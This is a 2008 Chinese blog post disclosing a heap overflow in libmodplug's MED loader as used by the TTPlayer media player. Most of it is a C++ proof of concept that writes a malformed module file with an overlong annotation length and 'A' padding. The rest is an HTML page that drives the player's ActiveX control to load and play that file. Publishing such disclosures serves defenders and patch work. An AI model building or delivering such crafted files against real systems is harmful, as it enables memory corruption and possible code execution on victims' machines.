千千静听 med 文件格式堆溢出

    [阴 March 3, 2008 12:28 | by ]
By: dummy
来自:PST
千千静听使用的是 libmod 来进行 mod 类文件格式的处理, 此库在 ReadMed 函数中,没有检查文件描述的长度,如果传递一个恶意构造的值,将导致堆溢出。 现在采用libmod 软件很多,都应该存在此问题。

下面是构造问题文件的代码,最后是使用最新版本千千静听的 ax 写的 poc.

C++代码
/*
libmodplug v0.8
load_med.cpp
    BOOL CSoundFile::ReadMed(const BYTE *lpStream, DWORD dwMemLength)
        line 670: memcpy(m_lpszSongComments, lpStream+annotxt, annolen);
*/

/*
    author: dummy
    e-mail: dummyz@126.com

    date: 2008/02/25
*/

#include <windows.h>
#include <stdio.h>

#pragma pack(1)

typedef struct tagMEDMODULEHEADER
{
    DWORD id;        // MMD1-MMD3
    DWORD modlen;    // Size of file
    DWORD song;        // Position in file for this song
    WORD psecnum;
    WORD pseq;
    DWORD blockarr;    // Position in file for blocks
    DWORD mmdflags;
    DWORD smplarr;    // Position in file for samples
    DWORD reserved;
    DWORD expdata;    // Absolute offset in file for ExpData (0 if not present)
    DWORD reserved2;
    WORD pstate;
    WORD pblock;
    WORD pline;
    WORD pseqnum;
    WORD actplayline;
    BYTE counter;
    BYTE extra_songs;    // # of songs - 1
} MEDMODULEHEADER;

typedef struct tagMMD0SAMPLE
{
    WORD rep, replen;
    BYTE midich;
    BYTE midipreset;
    BYTE svol;
    signed char strans;
} MMD0SAMPLE;

// MMD0/MMD1 song header
typedef struct tagMMD0SONGHEADER
{
    MMD0SAMPLE sample[63];
    WORD numblocks;        // # of blocks
    WORD songlen;        // # of entries used in playseq
    BYTE playseq[256];    // Play sequence
    WORD deftempo;        // BPM tempo
    signed char playtransp;    // Play transpose
    BYTE flags;            // 0x10: Hex Volumes | 0x20: ST/NT/PT Slides | 0x40: 8 Channels song
    BYTE flags2;        // [b4-b0]+1: Tempo LPB, 0x20: tempo mode, 0x80: mix_conv=on
    BYTE tempo2;        // tempo TPL
    BYTE trkvol[16];    // track volumes
    BYTE mastervol;        // master volume
    BYTE numsamples;    // # of samples (max=63)
} MMD0SONGHEADER;

typedef struct tagMMD0EXP
{
    DWORD nextmod;            // File offset of next Hdr
    DWORD exp_smp;            // Pointer to extra instrument data
    WORD s_ext_entries;        // Number of extra instrument entries
    WORD s_ext_entrsz;        // Size of extra instrument data
    DWORD annotxt;
    DWORD annolen;
    DWORD iinfo;            // Instrument names
    WORD i_ext_entries;    
    WORD i_ext_entrsz;
    DWORD jumpmask;
    DWORD rgbtable;
    BYTE channelsplit[4];    // Only used if 8ch_conv (extra channel for every nonzero entry)
    DWORD n_info;
    DWORD songname;            // Song name
    DWORD songnamelen;
    DWORD dumps;
    DWORD mmdinfo;
    DWORD mmdrexx;
    DWORD mmdcmd3x;
    DWORD trackinfo_ofs;    // ptr to song->numtracks ptrs to tag lists
    DWORD effectinfo_ofs;    // ptr to group ptrs
    DWORD tag_end;
} MMD0EXP;

#pragma pack()

// Byte swapping functions from the GNU C Library and libsdl

/* Swap bytes in 16 bit value. */
#ifdef __GNUC__
# define bswap_16(x) \
    (__extension__                                  \
     ({ unsigned short int __bsx = (x);                          \
        ((((__bsx) >> 8) & 0xff) | (((__bsx) & 0xff) << 8)); }))
#else
static __inline unsigned short int
bswap_16 (unsigned short int __bsx)
{
return ((((__bsx) >> 8) & 0xff) | (((__bsx) & 0xff) << 8));
}
#endif

/* Swap bytes in 32 bit value. */
#ifdef __GNUC__
# define bswap_32(x) \
    (__extension__                                  \
     ({ unsigned int __bsx = (x);                          \
        ((((__bsx) & 0xff000000) >> 24) | (((__bsx) & 0x00ff0000) >> 8) |    \
    (((__bsx) & 0x0000ff00) << 8) | (((__bsx) & 0x000000ff) << 24)); }))
#else
static __inline unsigned int
bswap_32 (unsigned int __bsx)
{
return ((((__bsx) & 0xff000000) >> 24) | (((__bsx) & 0x00ff0000) >> 8) |
    (((__bsx) & 0x0000ff00) << 8) | (((__bsx) & 0x000000ff) << 24));
}
#endif

#ifdef WORDS_BIGENDIAN
#define bswapLE16(X) bswap_16(X)
#define bswapLE32(X) bswap_32(X)
#define bswapBE16(X) (X)
#define bswapBE32(X) (X)
#else
#define bswapLE16(X) (X)
#define bswapLE32(X) (X)
#define bswapBE16(X) bswap_16(X)
#define bswapBE32(X) bswap_32(X)
#endif

int main()
{
    MEDMODULEHEADER mmh;
    MMD0SONGHEADER msh;
    MMD0EXP mex;
    FILE* file;
    long p;

    memset(&mmh, 0, sizeof (mmh));
    memset(&msh, 0, sizeof (msh));
    memset(&mex, 0, sizeof (mex));
    
    p = 0;

    mmh.id = 0x30444D4D; // version = '0'

    p += sizeof (MEDMODULEHEADER);
    mmh.song = bswapBE32(p);

    p += sizeof (MMD0SONGHEADER);
    mmh.expdata = bswapBE32(p);
    
    p += sizeof (MMD0EXP);
    mex.annolen = bswapBE32(-1);
    mex.annotxt = bswapBE32(p);
    
    file = fopen("test.s3m", "wb+");
    if ( file == NULL )
    {
        printf("create file failed!\n");
    }
    else
    {
        fwrite(&mmh, 1, sizeof (mmh), file);
        fwrite(&msh, 1, sizeof (msh), file);
        fwrite(&mex, 1, sizeof (mex), file);
        
        while ( ftell(file) < 0x1000 )
        {
            fwrite("AAAAAAAAAAAAAAAAAAAA", 1, 16, file);
        }

        fclose(file);

        printf("successed!\n");
    }

    return 0;
}
  
XML/HTML代码

<html>  
<body>  
<OBJECT ID="ttp" WIDTH="250" HEIGHT="400" CLASSID="CLSID:89AE5F82-410A-4040-9387-68D1144EFD03">  
</OBJECT>  
<INPUT TYPE="button" NAME="test" CAPTION="test" onClick="Test()">  
<SCRIPT LANGUAGE="JavaScript">  
<!--  
    function Test()  
    {  
        var controls = ttp.controls;  
  
        ttp.URL = "http:\\127.0.0.1\\test.s3m";  
        controls.play();  
    }  
//-->  
</SCRIPT>  
</body>  
</html>
  
Bug&Exp | Comments(0) | Trackbacks(0) | Reads(7398)
Add a comment
Emots
emotemotemotemotemot
emotemotemotemotemot
emotemotemotemotemot
emotemotemotemotemot
emotemotemotemotemot
Enable HTML
Enable UBB
Enable Emots
Hidden
Nickname   Password   Optional
Site URI   Email   [Register]
               

Security code Case insensitive